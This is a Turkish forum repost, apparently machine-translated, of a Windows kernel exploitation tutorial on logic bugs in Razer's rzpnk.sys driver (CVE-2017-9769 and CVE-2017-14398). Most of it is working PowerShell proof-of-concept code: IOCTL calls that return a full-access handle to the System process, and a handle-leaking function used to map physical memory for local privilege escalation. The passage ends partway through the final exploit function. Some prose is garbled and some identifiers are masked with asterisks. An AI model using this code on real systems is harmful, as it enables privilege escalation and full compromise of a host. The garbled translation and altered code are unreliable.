Windows Exploit Geliştirme Serisi #19 | Kernel Exploitation -> Razer rzpnk.sys'deki mantık hataları

Provido

Katılımcı Üye
21 Eki 2015
477
1
Bölüm 19: Kernel Exploitation -> Razer rzpnk.sys'deki mantık hataları

Merhaba Windows Kernel istismar serisinin başka bir bölümüne tekrar hoş geldiniz! Bugün biraz farklı bir şeye bakacağız. Bir süre önce @zeroSteiner, Razer Synapse tarafından kullanılan bir sürücü olan rzpnk.sys'de (CVE-2017-9770 ve CVE-2017-9769) iki hata buldu. Bir süre sonra hatalara bakmaya karar verdim ve ... Yerel ayrıcalık artışına yol açan başka bir mantık hatası buldum (CVE-2017-14398)


Bu yazıda CVE-2017-9769'u kısaca göstereceğiz ve ardından bulduğum hata olan CVE-2017-14398 için tam bir istismar yapacağız. Başlamadan önce buradan
+ Razer Rzpnk.Sys IOCTL 0x22a050 ZwOpenProcess (CVE-2017-9769) (@zeroSteiner) - buradan
+ MSI ntiolib.sys/winio.sys local privilege escalation (@rwfpl) - buradan


Savaş Alanını Tuzlamak


Takılıp kalmadan önce, arama grafiğinde savunmasız işlevlerin ne kadar yakın olduğunu hızlıca göstermek istedim. Sevk işlevinde tam anlamıyla komşudurlar.



Logic_1.png




Bir noktaya kadar bu çağrılara yol açan dal paylaşılır, o zaman IOCTL'den 10 hex değerinin çıkarıldığını görebiliriz ve sonuç sıfırsa ZwOpenProcess çağrısına atlarız, kalan 14 hex ise o zaman atlarız bunun yerine ZwMapViewOfSection çağrısına.

Ayrıca, sürücünün giriş ve çıkış tamponunun uzunluğunu kontrol edeceğine ve yetersiz miktarda giriş parametresi sağlanırsa veya çıktı tamponunun yeterince büyük olmaması durumunda bir hata durumuna dallanacağına dikkat edin.


ZwOpenProcess POC (CVE-2017-9769)


CallGraph


Logic_2.png




Bir tutuş veya şey alın ıııı .. bir tutamak!


Bu işleve çok fazla zaman harcamayacağız, ancak güvenlik açığı kanıtlanacak kadar kolay. Fonksiyonun girdi parametreleri olarak iki QWORD'a ihtiyaç duyduğunu biliyoruz ve Spencer'ın açıklarından QWORDS olarak bir pid ve bir boş paketlediğini görebiliriz. Aşağıdaki POC ile bunu hızla çoğaltabiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0x4) + # PID 4 = System = 0x0000000000000004
    [System.BitConverter]::GetBytes([Int64]0x0)   # 0x0000000000000000
)
 
# Output buffer 1kb
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22a050 - ZwOpenProcess
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22a050, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))



POC'umuzu çalıştırmak aşağıdaki çıktıyı verir.



Logic_3.png




Sürücü tarafından döndürülen iki QWORD'a bakarsak, ilkinin geçtiğimiz PID ve ikincisinin bir tutamaç olduğunu görebiliriz. PowerShell işlemimizde döndürülen tutamaca baktığımızda aşağıdakileri görüyoruz.



Logic_4.png




Bu oyun hemen hemen bitiyor, System pid'e tam erişim hakkımız var, yani bu işlem alanındaki herhangi bir bellekten okuyup yazabiliriz. Spencer'ın bundan yararlanma şekli (1) winlogon'u ele almak, (2) shellcode yürütmek için user32! LockWorkStation'ı bağlamak, (3) kullanıcının oturumunu kilitlemek, (4) kar!



ZwMapViewOfSection'ı Kötüye Kullanma (CVE-2017-14398)


İyi şeylere ulaşma zamanı! Bu hata türü hakkında daha fazla bilgi edinmek için @ rwfpl'nin ntiolib / winio'dan yararlanma konusundaki gönderisine göz atmanızı şiddetle tavsiye ederim.


CallGraph



Logic_5.png




İşlev Bağımsız Değişkenleri


İlk ekran görüntüsünden, fonksiyonun girdi olarak 30 onaltılık boyut (6 QWORD) beklediğini ve ayrıca 30 onaltılık çıktı döndürdüğünü unutmayın. Savunmasız işleve ulaşmak için hızla bir POC oluşturabiliriz.



Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        IntPtr OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAl********Type,
        UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
    [System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
    [System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
    [System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
    [System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
    [System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
    [System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
 
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))



Herhangi bir hata ayıklama yapmadan önce, ***'nizi çalıştırabilir ve sürücünün ne döndürdüğünü görebiliriz.



Logic_6.png




Harika, giriş parametrelerimize ek olarak, 0 döndüren bir Int64 ve bir NTSTATUS kodu döndüren düşük sıralı bir DWORD görebiliriz. Bu durumda ZwMapViewOfSection, STATUS_INVALID_HANDLE döndürür, bu mantıklıdır çünkü ilk parametre olarak bir bölüm tutamacını beklemektedir ve biz onu biraz önemsiz besledik. Burada güzel bir yan etki, NTSTATUS kodunu 0x0 (STATUS_SUCCESS) ile karşılaştırarak çağrımızın başarılı olup olmadığını anlayabilmemizdir.


Grafikten bazı statik parametrelerin ne olduğunu zaten söyleyebiliriz, ancak tüm şüpheleri gidermek için ZwMapViewOfSection çağrısında bir kesme noktası belirleyebilir ve kayıtları + yığınını inceleyebiliriz. ZwMapViewOfSection stdcall çağrı kuralını kullanıyor, bu nedenle argümanlar sırasıyla RCX, RDX, R8, R9 ve yığın içinde saklanacaktır.



Logic_7.png




Bunu girdi parametrelerimizle bir araya getirdiğimizde aşağıdakileri elde ederiz.



Kod:
NTSTATUS ZwMapViewOfSection(
  _In_        HANDLE          SectionHandle,      | Param 3 - RCX = SectionHandle
  _In_        HANDLE          ProcessHandle,      | Param 1 - RDX = ProcessHandle
  _Inout_     P****           *BaseAddress,       | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
  _In_        ULONG_PTR       ZeroBits,           | 0 -> OK - R9
  _In_        SIZE_T          CommitSize,         | Param 5 - CommitSize / ViewSize
  _Inout_opt_ PLARGE_INTEGER  SectionOffset,      | 0 -> OK
  _Inout_     PSIZE_T         ViewSize,           | Param 5 - CommitSize / ViewSize
  _In_        SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
  _In_        ULONG           Al********Type,     | 0 -> Un********ed?
  _In_        ULONG           Win32Protect        | 0x40 -> PAGE_READWRITE
);



Burada kontrol ettiğimiz şeylerin çoğu çok açık. Süreç idaresi için, PowerShell'e tam bir erişim tutamacına geçmemiz ve boyut / görünüm boyutunu kesinleştirmemiz sadece sürecimize ne kadar haritalandırdığımızdır. Soru, bir bölüm işleyicisini nereden alacağımızdır, sürücünün ZwCreateSection veya ZwOpenSection'ı çağırmamıza izin veren herhangi bir işlevi yoktur.


Fiziksel Bellek Sızıntısı


Bu noktada bir bölüm tanıtıcısı oluşturamadığım için istismarın öldüğünden biraz endişeliydim. Neyse ki AIONescu bana biraz anlam kattı. SystemHandleInformation sınıfı ile NtQuerySystemInformation kullanarak, sistemdeki süreçler tarafından açılan tüm tutamaçları sızdırabiliriz. Bu tutamaçlar her işlem için kullanıcı alanı tutamaçlarıdır, ancak Sistem işlemi (PID = 4) özel bir durum olarak kullanıcı alanını bir çekirdek tutamacına dönüştürmemize izin verir!


Bunu neden önemsiyoruz? Sistemin "\ Device \ PhysicalMemory" için bir tutamacı vardır, eğer bu tanıtıcıyı sızdırabilirsek, ZwMapViewOfSection'ın fiziksel belleği PowerShell sürecimize doğrudan eşleştirmesini sağlayabiliriz!



Logic_8.png




Bu işlemle ilgilenmek için bir powershell işlevi yazdım. İşlem tarafından açılan tutamaçların türünü belirlemek için statik tutamaç sabitlerini kullanır. Bunu yakın zamanda güncelledim, böylece Win7'den Win10RS2'ye kadar çalışıyor. Get-Handles, GitHub'daki PSKernel-Primitives depomun bir parçası, PowerShell ile çekirdeği pwn yapmak istiyorsanız kontrol edin!



Logic_9.png




Çekirdek tanıtıcısını almak için tek yapmamız gereken, 0x204'e statik bir değer eklemektir (64-bit için 0xffffffff80000000 ve 32-bit için 0x80000000). Bunu dinamik olarak aşağıdaki şekilde yapabiliriz.



Kod:
$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000



Artık yeni bir POC oluşturabilir ve tüm eksik bitleri doldurabiliriz. Test amacıyla 1 MB fiziksel belleği PowerShell ile eşlemeye çalışacağız.



Kod:
function RZ-ZwMapViewOfSection {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    public static class Razer
    {
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CreateFile(
            String lpFileName,
            UInt32 dwDesiredAccess,
            UInt32 dwShareMode,
            IntPtr lpSecurityAttributes,
            UInt32 dwCreationDisposition,
            UInt32 dwFlagsAndAttributes,
            IntPtr hTemplateFile);
     
        [DllImport("Kernel32.dll", SetLastError = true)]
        public static extern bool DeviceIoControl(
            IntPtr hDevice,
            int IoControlCode,
            byte[] InBuffer,
            int nInBufferSize,
            IntPtr OutBuffer,
            int nOutBufferSize,
            ref int pBytesReturned,
            IntPtr Overlapped);
     
        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern IntPtr VirtualAlloc(
            IntPtr lpAddress,
            uint dwSize,
            UInt32 flAl********Type,
            UInt32 flProtect);
     
        [DllImport("kernel32.dll")]
        public static extern IntPtr OpenProcess(
            UInt32 processAccess,
            bool bInheritHandle,
            int processId);
    }
"@
 
    #----------------[Helper Funcs]
    function Get-Handles {
    <#
    .SYNOPSIS
        Use NtQuerySystemInformation::SystemHandleInformation to get a list of
        open handles in the specified process, works on x32/x64.
        Notes:
     
        * For more robust coding I would recomend using  [USER=521394]MaTTi[/USER]festation's
        Get-NtSystemInformation.ps1 part of PowerShellArsenal.
     
    .DESCRIPTION
        Author: Ruben Boonen (@FuzzySec)
        License: BSD 3-Clause
        Required Dependencies: None
        Optional Dependencies: None
     
    .EXAMPLE
        C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
        C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
        C:\PS> $Key |ft
     
        ObjectType AccessMask PID Handle HandleFlags KernelPointer
        ---------- ---------- --- ------ ----------- -------------
        Key        0x00000000   4 0x004C NONE        0xFFFFC9076FC29BC0
        Key        0x00020000   4 0x0054 NONE        0xFFFFC9076FCDA7F0
        Key        0x000F0000   4 0x0058 NONE        0xFFFFC9076FC39CE0
        Key        0x00000000   4 0x0090 NONE        0xFFFFC907700A6B40
        Key        0x00000000   4 0x0098 NONE        0xFFFFC90770029F70
        Key        0x00020000   4 0x00A0 NONE        0xFFFFC9076FC9C1A0
        [...Snip...]
    #>
     
        [CmdletBinding()]
        param (
            [Parameter(Mandatory = $True)]
            [int]$ProcID
        )
         
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
        using System.Security.Principal;
         
        [StructLayout(LayoutKind.Sequential, Pack = 1)]
        public struct SYSTEM_HANDLE_INFORMATION
        {
            public UInt32 ProcessID;
            public Byte ObjectTypeNumber;
            public Byte Flags;
            public UInt16 HandleValue;
            public IntPtr Object_Pointer;
            public UInt32 GrantedAccess;
        }
         
        public static class GetHandles
        {
            [DllImport("ntdll.dll")]
            public static extern int NtQuerySystemInformation(
                int SystemInformationClass,
                IntPtr SystemInformation,
                int SystemInformationLength,
                ref int ReturnLength);
        }
"@
     
        # Make sure the PID exists
        if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
            Return
        }
     
        # Flag switches (0 = NONE?)
        $FlagSwitches = @{
            0 = 'NONE'
            1 = 'PROTECT_FROM_CLOSE'
            2 = 'INHERIT'
        }
         
        $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
        $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
        switch ($OSMajorMinor)
        {
            '10.0' # Windows 10 (Tested on v1511)
            {
                # Win 10 v1703
                if ($OSVersion.Build -ge 15063) {
                    $TypeSwitches = @{
                        0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
                        0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
                        0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
                        0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
                        0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
                        0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
                        0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
                        0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
                        0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
                        0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
                        0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
                        0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
                        0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
                        0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
                        0x2d = 'ALPC Port'; 0x20 = 'Driver';
                    }
                }
                 
                # Win 10 v1607
                if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
                    $TypeSwitches = @{
                        0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
                        0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
                        0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
                        0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
                        0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
                        0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
                        0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
                        0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
                        0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
                        0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
                        0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
                        0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
                        0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
                    }
                }
                 
                # Win 10 v1511
                if ($OSVersion.Build -lt 14393) {
                    $TypeSwitches = @{
                        0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                        0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                        0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
                        0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                        0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
                        0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                        0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                        0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
                        0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
                        0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
                        0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
                        0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
                    }
                }
            }
             
            '6.2' # Windows 8 and Windows Server 2012
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
                    0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
                    0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
                    0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
                    0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
                    0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
                    0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
                    0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
                    0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
                }
            }
         
            '6.1' # Windows 7 and Window Server 2008 R2
            {
                $TypeSwitches = @{
                    0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
                    0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
                    0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
                    0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
                    0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
                    0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
                    0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
                    0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
                    0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
                    0x2b = 'PcwObject';
                }
            }
         
            '6.0' # Windows Vista and Windows Server 2008
            {
                $TypeSwitches = @{
                    0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
                    0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
                    0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
                    0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
                    0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
                    0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
                    0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
                    0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
                }
            }
        }
     
        [int]$BuffPtr_Size = 0
        while ($true) {
            [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
            $SystemInformationLength = New-Object Int
         
            $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
             
            # STATUS_INFO_LENGTH_MISMATCH
            if ($CallResult -eq 0xC0000004) {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
            }
            # STATUS_SUCCESS
            elseif ($CallResult -eq 0x00000000) {
                break
            }
            # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
            else {
                [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
                return
            }
        }
         
        $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
        $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
        if ([System.IntPtr]::Size -eq 4) {
            $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
        } else {
            $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                                                # Ask no questions, hear no lies!
        }
         
        $BuffOffset = $BuffPtr.ToInt64()
        $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
        $BuffOffset = $BuffOffset + [System.IntPtr]::Size
         
        $SystemHandleArray = @()
        for ($i=0; $i -lt $HandleCount; $i++){
            # PtrToStructure only objects we are targeting, this is expensive computation
            if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
                $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
                $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
                 
                $HashTable = @{
                    PID = $Cast.ProcessID
                    ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
                    HandleFlags = $FlagSwitches[[int]$Cast.Flags]
                    Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
                    KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
                    AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
                }
                 
                $Object = New-Object PSObject -Property $HashTable
                $SystemHandleArray += $Object
                 
            }
     
            $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
        }
         
        if ($($SystemHandleArray.count) -eq 0) {
            [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
            Return
        }
         
        # Set column order and auto size
        $SystemHandleArray
         
        # Free SYSTEM_HANDLE_INFORMATION array
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
    }
 
    #----------------[Get Driver Handle]
     
